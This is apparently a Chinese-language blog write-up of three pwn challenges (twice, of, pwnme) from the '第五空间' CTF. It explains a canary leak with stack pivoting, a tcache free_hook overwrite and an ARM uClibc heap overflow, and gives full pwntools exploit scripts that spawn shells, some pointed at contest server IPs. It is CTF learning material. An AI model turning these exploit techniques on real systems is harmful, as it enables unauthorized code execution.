第五空间pwn题练习

自做pwn题以来第一次打比赛,真正遇到题目果然是一脸懵逼。。。拿着师傅们的wp学习

twice

拿到题目,看一下文件属性是64位的ELF,可以实现回显用户输入的功能。

查看一下保护,发现开启了NXcanary

题目分析

IDA反编译发现到sub_4007A9函数调用了puts函数,可以实现栈溢出

其中栈结构如下:

可知,我们输入的字符串被保存到参数s的位置,它到var_8(其实就是canary)的大小是0x58字节,因此溢出的难点就在于如何绕过canary的检测,这里由于是会回显用户输入的字符串,那么在0x58个字符之后再输入一个字符覆盖canary的\x00字节,那么就可以将canary连带一起输入,其后的栈底地址也能一同输出,这便是突破点。

那么整体思路就是:第一次输入通过覆盖canary低字节泄露canary和rbp,第二次输入做栈迁移泄露出libc基址,随后再次迁移到栈顶位置然后构造payload覆盖返回地址为one_gadget,即可getshell。

exp

比赛的时候好像没有提供 libc 版本,这样的话就多了一步 libc版本的确定,不过在复现的时候看到师傅直接写了libc-2.23.so,这样也方便学习了。

先找一下64位libc-2.23.so中的gadget:

最终exp如下:

from pwn import *

sh = process('5kjpwn1')
elf = ELF('./5kjpwn1')
libc = ELF('./libc-2.23.so')

rdi_ret = 0x400923
push_ebp = 0x4007a9
leave_ret = 0x400879

payload1 = 'a'*0x58 + 'b'
sh.sendafter('>', payload1)

sh.recvuntil('b')
canary = u64((sh.recv(7)).rjust(8,'\x00'))
stack = u64(sh.recv(6).ljust(8,'\x00'))

payload2 = 'c'*0x08 + p64(rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(push_ebp)
payload2 = payload2.ljust(0x58, 'a')
payload2 += p64(canary) + p64(stack-0x70) + p64(leave_ret)

sh.sendafter('>', payload2)
sh.recvuntil('cccccccc')
puts_addr = u64(sh.recv(6).ljust(8, '\x00'))
print hex(puts_addr)

libc_base = puts_addr - libc.sym['puts']

payload3 = 'a'*0x58 + p64(canary) + p64(0) + p64(libc_base + 0x45216)

sh.sendafter('>', payload3)
sh.interactive()

of

这是一道堆题,题目有allocate, edit, show, delete几个功能。出题方从urandom读了一个8字节的随机数当做cookie,只有cookie正确才能做操作,free的时候把cookie清零。
然而编译器(gccclang)都会把这个清0操作给优化掉,导致UAF

题目分析

讲真的,看师傅们的exp没看懂是怎么搞的,堆题之前也没刷过呢。。。

远程测试发现和源码不同,没有了cookie操作,直接改free_hook调用system即可。

from pwn import *

context.log_level="debug"
def add(index):
p.sendlineafter(": ","1")
p.sendlineafter(": ",str(index))

def edit(index,note):
p.sendlineafter(": ","2")
p.sendlineafter("Index: ",str(index))
p.sendafter("Content: ",note)

def show(index):
p.sendlineafter(": ","3")
p.sendlineafter("Index: ",str(index))

def delete(index):
p.sendlineafter(": ","4")
p.sendlineafter(": ",str(index))
#p=remote("121.36.74.70",9999)
p=process("./5kjpwn2")
for i in range(9):
add(i)
for i in range(8):
delete(i)
show(7)
p.recvuntil(": ")
libc=u64(p.recv(6)+"\x00\x00")-0x7ffff7dcfca0+0x7ffff79e4000
print hex(libc)
edit(6,p64(libc+0x003ed8e8))
edit(0,"/bin/sh\x00")
add(10)
add(11)
edit(11,p64(libc+0x04f440))
delete(0)
p.interactive()

pwnme

一道heap题目,只不过环境变成了uclibc + arm,因为uclibc当中也加入了tcache的机制,所以可以通过tcache机制对heap上的地址进行泄露,然后在edit函数当中能够溢出任意大小的字节。因此可以修改堆后面的数据,通过tcache attack,劫持程序的控制流就能够进行ROP,最后获得程序的控制权。

arm架构程序的调试

需要有qemu的环境,然后按照如下步骤启动终端进行调试:

sudo mv ld-uClibc-1.0.34.so ld-uClibc.so.0
sudo mv ld-uClibc.so.0 /lib/
sudo mv libuClibc-1.0.34.so libc.so.0
sudo mv libc.so.0 /lib/

之后执行如下命令即可运行程序

qemu-arm -L ./lib ./a.out

按照下面的操作可进行调试:

qemu-arm -g 1234 -L ./lib ./a.out

然后另开一个终端

gdb-multiarch ./a.out -q
pwndbg> target remote localhost:1234

即可调试。

exp

from pwn import *
import sys
context.log_level="debug"

def show():
p.sendlineafter(">>> ","1")
def add(l,note):
p.sendlineafter(">>> ","2")
p.sendlineafter(":",str(l))
p.sendafter(":",note)
def change(index,l,note):
p.sendlineafter(">>> ","3")
p.sendlineafter(":",str(index))
p.sendlineafter(":",str(l))
p.sendafter(":",note)
def remove(index):
p.sendlineafter(">>> ","4")
p.sendlineafter(":",str(index))
if len(sys.argv)==1:
#p=process(["qemu-arm","-g","1234","-L","./","./a.out"])
p=remote("121.36.58.215",1337)
else:
p=process(["qemu-arm","-L","./","./a.out"])
add(0x18,"aaaaaaaa")
add(0x4f8,"aaaaaaaa")
add(0x18,"aaaaaaaa")
add(0x18,"aaaaaaaa")
change(0,0x40,"a"*0x1c+p64(0x500+0x20+1))
remove(1)
add(0x4f8,"aaaaaaaa")
show()
p.recvuntil("2 : ")
libc=u32(p.recv(4))+0xff720000-0xff7ba8ec
print hex(libc)
add(0x18,"aaaaaaa")
add(0x21,"aaaaaaa")
remove(0)
remove(4)
change(2,8,p32(0x21048^0x22))
add(0x18,"aaaaa")
add(0x18,"aaaaa")
change(4,0xf8,"/bin/sh\x00"+p32(0)*4+p32(0x28)+p32(0x21038))
change(0,0x8,p32(libc+0x51800))
#show()
remove(4)
p.interactive()

Comments


:D 一言句子获取中...

Loading...Wait a Minute!